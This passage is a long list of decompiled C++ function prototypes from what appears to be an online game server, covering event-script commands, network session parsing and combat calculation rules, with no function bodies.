__thiscall AxialListKQReward::_AxialListKQReward(AxialListKQReward *this); char __thiscall AxialListKQReward::ali_Work(AxialListKQReward *this, #331 *, #331 *, unsigned int); void __thiscall AxialListKQEnd::_AxialListKQEnd(AxialListKQEnd *this); void __thiscall AxialListLinkTo::AxialListLinkTo(AxialListLinkTo *this, NPCManager::LinkInformTemplete *lnkinf); void __thiscall AxialListLinkTo::_AxialListLinkTo(AxialListLinkTo *this); char __thiscall AxialListLinkTo::ali_Work(AxialListLinkTo *this, #331 *, #331 *, unsigned int); void __thiscall AxialListLinkToByObserver::AxialListLinkToByObserver(AxialListLinkToByObserver *this, NPCManager::LinkInformTemplete *lnkinf); void __thiscall AxialListLinkToByObserver::_AxialListLinkToByObserver(AxialListLinkToByObserver *this); char __thiscall AxialListLinkToByObserver::ali_Work(AxialListLinkToByObserver *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShinePrintf::sa_Step(PineEventScriptNode::ShinePrintf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListMobVanish::_AxialListMobVanish(AxialListMobVanish *this); void __thiscall AxialListItemErase4All::_AxialListItemErase4All(AxialListItemErase4All *this); void __thiscall AxialListMobStateSet::AxialListMobStateSet(AxialListMobStateSet *this, unsigned __int16 mobid, AbnormalStateInfo::ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime); void __thiscall AxialListMobStateSet::_AxialListMobStateSet(AxialListMobStateSet *this); void __thiscall AxialListMobStateSet::almss_AbStateSet(AxialListMobStateSet *this, #331 *obj); void __thiscall AxialListPlayerStateSet::_AxialListPlayerStateSet(AxialListPlayerStateSet *this); void __thiscall AxialListPlayerStateSet::AxialListPlayerStateSet(AxialListPlayerStateSet *this, AbnormalStateInfo::ABSTATEINDEX abstateidx, int strength, AbnormalStateDictionary::AbState::AbStateStr *dic, int keeptime); void __thiscall AxialListPlayerStateSet::alpss_AbStateSet(AxialListPlayerStateSet *this, #331 *obj); void __thiscall AxialListTeleport::_AxialListTeleport(AxialListTeleport *this); char __thiscall AxialListTeleport::ali_Work(AxialListTeleport *this, #331 *, #331 *, unsigned int); void __thiscall AxialListTeleportAnywhere::_AxialListTeleportAnywhere(AxialListTeleportAnywhere *this); char __thiscall AxialListTeleportAnywhere::ali_Work(AxialListTeleportAnywhere *this, #331 *, #331 *, unsigned int); void __thiscall AxialListCount2::AxialListCount2(AxialListCount2 *this); void __thiscall AxialListCount2::_AxialListCount2(AxialListCount2 *this); char __thiscall AxialListCount2::ali_Work(AxialListCount2 *this, #331 *, #331 *, unsigned int); void __thiscall AxialListTeleportSplit::AxialListTeleportSplit(AxialListTeleportSplit *this, int NumOfPlayer, SHINE_XY_TYPE *Position, SHINE_XY_TYPE *Position2); void __thiscall AxialListTeleportSplit::_AxialListTeleportSplit(AxialListTeleportSplit *this); char __thiscall AxialListTeleportSplit::ali_Work(AxialListTeleportSplit *this, #331 *, #331 *, unsigned int); void __thiscall AxialListFindItemOwner::AxialListFindItemOwner(AxialListFindItemOwner *this, unsigned __int16 itmid, PineScriptToken *delimiter, PineScriptToken *result); void __thiscall AxialListFindItemOwner::_AxialListFindItemOwner(AxialListFindItemOwner *this); char __thiscall AxialListFindItemOwner::ali_Work(AxialListFindItemOwner *this, #331 *, #331 *, unsigned int); void __thiscall AxialListObjectCollector::_AxialListObjectCollector(AxialListObjectCollector *this); void __thiscall AxialListGTEnd::_AxialListGTEnd(AxialListGTEnd *this); char __thiscall AxialListGTEnd::ali_Work(AxialListGTEnd *this, #331 *, #331 *, unsigned int); void __thiscall AxialListBanArea::AxialListBanArea(AxialListBanArea *this, Name8 *banarea, #592 *map, Name3 *towhere, int tox, int toy); void __thiscall AxialListBanArea::_AxialListBanArea(AxialListBanArea *this); void __thiscall AxialListRevival::_AxialListRevival(AxialListRevival *this); void __thiscall PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(PineEventScriptNode::RegisterGTPortal *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ClearSaveLinkto *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::NPCChatNoFacecut *this); void __thiscall PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(PineEventScriptNode::ScinarioCodeParty *this); void __thiscall PineEventScriptNode::HasAbstate::_HasAbstate(PineEventScriptNode::HasAbstate *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTRegisterNPC *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTMobRegenKey *this); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::RegisterGTPortal *this, unsigned int); void __thiscall Movie::Theater::t_MapGuildBattle(Movie::Theater *this, unsigned int a, unsigned int b); void __thiscall Movie::Theater::t_MapPKFlag(Movie::Theater *this, char flag); #331 *__thiscall PineEventScriptNode::OtherStatement::os_ShineObject(PineEventScriptNode::OtherStatement *this, PineScriptStack::ProcessStack *ps); unsigned __int16 __thiscall PineEventScriptNode::StatePermillage::sa_Step(PineEventScriptNode::StatePermillage *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListKQEnd::ali_Work(AxialListKQEnd *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineScriptFile::sa_Step(PineEventScriptNode::ShineScriptFile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTimeLimit::sa_Step(PineEventScriptNode::ShineTimeLimit *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptSet::sa_Step(PineEventScriptNode::ShineInterruptSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptErase::sa_Step(PineEventScriptNode::ShineInterruptErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitInterrupt::sa_Step(PineEventScriptNode::ShineWaitInterrupt *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::os_ObjectChange(PineEventScriptNode::OtherStatement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip, #331 *obj, unsigned __int16 mobhnd); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Mob::sa_Step(PineEventScriptNode::ShineChange2Mob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2Door::sa_Step(PineEventScriptNode::ShineChange2Door *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChange2NPC::sa_Step(PineEventScriptNode::ShineChange2NPC *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineExchange2Mob::sa_Step(PineEventScriptNode::ShineExchange2Mob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorOpen::sa_Step(PineEventScriptNode::ShineDoorOpen *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorClose::sa_Step(PineEventScriptNode::ShineDoorClose *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __cdecl AxialListMobVanish::almv_Vanish(#331 *obj); char __thiscall AxialListMobVanish::ali_Work(AxialListMobVanish *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineObjectVanish::sa_Step(PineEventScriptNode::ShineObjectVanish *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegenGroup::sa_Step(PineEventScriptNode::ShineRegenGroup *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitUserLogin::sa_Step(PineEventScriptNode::ShineWaitUserLogin *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShinePause::sa_Step(PineEventScriptNode::ShinePause *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCChat::sa_Step(PineEventScriptNode::ShineNPCChat *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCShout::sa_Step(PineEventScriptNode::ShineNPCShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSomeoneShout::sa_Step(PineEventScriptNode::ShineSomeoneShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSummonMob::sa_Step(PineEventScriptNode::ShineSummonMob *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineQuestResult::sa_Step(PineEventScriptNode::ShineQuestResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineReward::sa_Step(PineEventScriptNode::ShineReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBroadcast::sa_Step(PineEventScriptNode::ShineBroadcast *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineLinkTo::sa_Step(PineEventScriptNode::ShineLinkTo *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemDrop::sa_Step(PineEventScriptNode::ShineItemDrop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWhoClickMe::sa_Step(PineEventScriptNode::ShineWhoClickMe *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListItemErase4All::ali_Work(AxialListItemErase4All *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineItemErase::sa_Step(PineEventScriptNode::ShineItemErase *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemCreate::sa_Step(PineEventScriptNode::ShineItemCreate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvenSearch::sa_Step(PineEventScriptNode::ShineInvenSearch *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineFindHandle::sa_Step(PineEventScriptNode::ShineFindHandle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListMobStateSet::ali_Work(AxialListMobStateSet *this, #331 *, #331 *, unsigned int); char __thiscall AxialListPlayerStateSet::ali_Work(AxialListPlayerStateSet *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatSet::sa_Step(PineEventScriptNode::ShineAbstatSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAbstatReset::sa_Step(PineEventScriptNode::ShineAbstatReset *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall AxialListMobSuicide::alms_SelfKill(AxialListMobSuicide *this, #331 *obj); char __thiscall AxialListMobSuicide::ali_Work(AxialListMobSuicide *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineSuicide::sa_Step(PineEventScriptNode::ShineSuicide *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRun::sa_Step(PineEventScriptNode::ShineRun *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWalk::sa_Step(PineEventScriptNode::ShineWalk *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMapLight::sa_Step(PineEventScriptNode::ShineMapLight *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMapFog::sa_Step(PineEventScriptNode::ShineMapFog *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEffectObject::sa_Step(PineEventScriptNode::ShineEffectObject *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEffectLocate::sa_Step(PineEventScriptNode::ShineEffectLocate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAggro::sa_Step(PineEventScriptNode::ShineAggro *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobDetectRange::sa_Step(PineEventScriptNode::ShineMobDetectRange *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineHeal::sa_Step(PineEventScriptNode::ShineHeal *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAnimate::sa_Step(PineEventScriptNode::ShineAnimate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDuplicate::sa_Step(PineEventScriptNode::ShineDuplicate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitIdle::sa_Step(PineEventScriptNode::ShineWaitIdle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDeathCountClear::sa_Step(PineEventScriptNode::ShineDeathCountClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemAttrSet::sa_Step(PineEventScriptNode::ShineItemAttrSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineScinarioCode::sa_Step(PineEventScriptNode::ShineScinarioCode *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStart::sa_Step(PineEventScriptNode::ShineBattleStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStop::sa_Step(PineEventScriptNode::ShineBattleStop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSendKQResult::sa_Step(PineEventScriptNode::ShineSendKQResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvidualReward::sa_Step(PineEventScriptNode::ShineInvidualReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineReturnValue::sa_Step(PineEventScriptNode::ShineReturnValue *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSubLayerShift::sa_Step(PineEventScriptNode::ShineSubLayerShift *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTeleportAll::sa_Step(PineEventScriptNode::ShineTeleportAll *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTeleport::sa_Step(PineEventScriptNode::ShineTeleport *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemOwner::sa_Step(PineEventScriptNode::ShineItemOwner *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindow::sa_Step(PineEventScriptNode::ShineChatWindow *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindowRange::sa_Step(PineEventScriptNode::ShineChatWindowRange *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobAttribute::sa_Step(PineEventScriptNode::ShineMobAttribute *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListObjectCollector::ala_CompareGuild(AxialListObjectCollector *this, #331 *obj); char __thiscall AxialListObjectCollector::ali_Work(AxialListObjectCollector *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step(PineEventScriptNode::ShineEndOfKingdomQuest *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfGuildTournament::sa_Step(PineEventScriptNode::ShineEndOfGuildTournament *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineGuildTorunamentResult::sa_Step(PineEventScriptNode::ShineGuildTorunamentResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineCostumeCreate::sa_Step(PineEventScriptNode::ShineCostumeCreate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineCostumeTakeOff::sa_Step(PineEventScriptNode::ShineCostumeTakeOff *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWeddingComplete::sa_Step(PineEventScriptNode::ShineWeddingComplete *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShinePlayerWalk::sa_Step(PineEventScriptNode::ShinePlayerWalk *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBriefEffect::sa_Step(PineEventScriptNode::ShineBriefEffect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListBanArea::ali_Work(AxialListBanArea *this, #331 *, #331 *, unsigned int); char __thiscall AxialListRevival::ali_Work(AxialListRevival *this, #331 *, #331 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineRevival::sa_Step(PineEventScriptNode::ShineRevival *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWhoKillMe::sa_Step(PineEventScriptNode::ShineWhoKillMe *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ClearSaveLinkto::sa_Step(PineEventScriptNode::ClearSaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::NPCChatNoFacecut::sa_Step(PineEventScriptNode::NPCChatNoFacecut *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ScinarioCodeParty::sa_Step(PineEventScriptNode::ScinarioCodeParty *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::BroadcastCode::sa_Step(PineEventScriptNode::BroadcastCode *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSpawn::sa_Step(PineEventScriptNode::ShineSpawn *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineHPSet::sa_Step(PineEventScriptNode::ShineHPSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); void *__thiscall PineEventScriptNode::SaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::SaveLinkto *this, unsigned int); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SaveLinkto *this); void *__thiscall PineEventScriptNode::ClearSaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::ClearSaveLinkto *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::NPCChatNoFacecut *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_scalar_deleting_destructor_(PineEventScriptNode::ScinarioCodeParty *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::HasAbstate *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::BroadcastCode *this, unsigned int); void __thiscall PineEventScriptNode::BroadcastCode::_BroadcastCode(PineEventScriptNode::BroadcastCode *this); void *__thiscall PineEventScriptNode::GTRegisterNPC::_scalar_deleting_destructor_(PineEventScriptNode::GTRegisterNPC *this, unsigned int); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::GTMobRegenKey *this, unsigned int); void __thiscall AxialListObjectCollector::AxialListObjectCollector(AxialListObjectCollector *this, NPCManager::LinkInformTemplete *lnkinf, unsigned int gld); unsigned __int16 __thiscall PineEventScriptNode::ShineObjectCollect::sa_Step(PineEventScriptNode::ShineObjectCollect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall List::l_Clear(List *this); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptClear::sa_Step(PineEventScriptNode::ShineInterruptClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::os_ObjectRegen(PineEventScriptNode::OtherStatement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip, #331 *obj, unsigned __int16 mobhnd, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *brief); unsigned __int16 __thiscall PineEventScriptNode::ShineMobRegen::sa_Step(PineEventScriptNode::ShineMobRegen *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorBuild::sa_Step(PineEventScriptNode::ShineDoorBuild *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCStand::sa_Step(PineEventScriptNode::ShineNPCStand *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineFindPlayer::sa_Step(PineEventScriptNode::ShineFindPlayer *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBanFromArea::sa_Step(PineEventScriptNode::ShineBanFromArea *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDiceGameStart::sa_Step(PineEventScriptNode::ShineDiceGameStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::HasAbstate::sa_Step(PineEventScriptNode::HasAbstate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::GTRegisterNPC::sa_Step(PineEventScriptNode::GTRegisterNPC *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::RegisterGTPortal::sa_Step(PineEventScriptNode::RegisterGTPortal *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::SaveLinkto::sa_Step(PineEventScriptNode::SaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegesteFlag::sa_Step(PineEventScriptNode::ShineRegesteFlag *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegesteGate::sa_Step(PineEventScriptNode::ShineRegesteGate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::GTMobRegenKey::sa_Step(PineEventScriptNode::GTMobRegenKey *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobWeaponRate::sa_Step(PineEventScriptNode::ShineMobWeaponRate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall PowedNumber::PowedNumber(PowedNumber *this, long double pow); void __thiscall OPToolSession::zbs_Parsing(OPToolSession *this, #440 *, unsigned __int16); void __thiscall ZoneListenSession::zbs_Parsing(ZoneListenSession *this, #440 *, unsigned __int16); void __thiscall ZoneConnectSession::zbs_Parsing(ZoneConnectSession *this, #440 *, unsigned __int16); void __thiscall GameDBSession::zbs_Parsing(GameDBSession *this, #440 *, unsigned __int16); void __thiscall GameLogSession::zbs_Parsing(GameLogSession *this, #440 *, unsigned __int16); void __thiscall WorldManagerSession::zbs_Parsing(WorldManagerSession *this, #440 *, unsigned __int16); void __thiscall ClientSession::zbs_Parsing(ClientSession *this, #440 *, unsigned __int16); void __thiscall RecallPointTable::RecallPointTable(ShineScript *this); void __thiscall RecallPointTable::rpt_Load(RecallPointTable *this, Name4 *world); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillRewardInven(void *this, int rewardinv); int __thiscall EngNormAtt::ena_LH(EngNormAtt *this, int leveldiff); int __thiscall EngNormAtt::ena_masichitrate(EngNormAtt *this, #331 *, #331 *, EngageFlag *); void __thiscall EngSklAtt::EngSklAtt(EngSklAtt *this); void __thiscall EngSklAtt::_EngSklAtt(EngSklAtt *this); int __thiscall EngNormAtt::ena_attack(EngNormAtt *this, #331 *, #331 *, EngageFlag *, char *); int __thiscall EngSklAtt::esa_physicaldamage(EngSklAtt *this, #331 *, #331 *, EngageFlag *); int __thiscall EngSklAtt::esa_masicaldamage(EngSklAtt *this, #331 *, #331 *, EngageFlag *); long double __thiscall RulesOfEngagement::roe_TH(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_TB(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_AC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MR(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MinMA(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxMA(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MinWC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxWC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_ShieldBlock(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_HitRate(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_DefendPower(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_FreeStatCriRate(RulesOfEngagement *this, EngageArgument *argument, int crirate); long double __thiscall RulesOfEngagement::roe_FreeStatHitRate(RulesOfEngagement *this, EngageArgument *argument, int hitrate); void __thiscall RulesOfEngagement::roe_CriticalStun(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_CriticalStunRate(RulesOfEngagement *this, EngageArgument *argument); int __thiscall RulesOfEngagement::roe_LevelGapDamageRevision(RulesOfEngagement *this, #331 *, #331 *, int); void __thiscall RulesOfEngagementNormalPY::RulesOfEngagementNormalPY(RulesOfEngagementNormalPY *this); void __thiscall RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(RulesOfEngagementNormalMA *this); void __thiscall RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(RulesOfEngagementPhisycalSkill *this); void __thiscall RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(RulesOfEngagementMagicalSkill *this); void __thiscall RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(RulesOfEngagementAlwaysHit *this); void __thiscall RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(RulesOfEngagementAlwaysCritical *this); long double __thiscall RulesOfEngagementAlwaysHit::roe_HitRate(RulesOfEngagementAlwaysCritical *this, EngageArgument *argument); int __thiscall RuleOfEngagementHealAttack::roe_CalcDamage(RuleOfEngagementHealAttack *this, EngageArgument *argument); void __thiscall 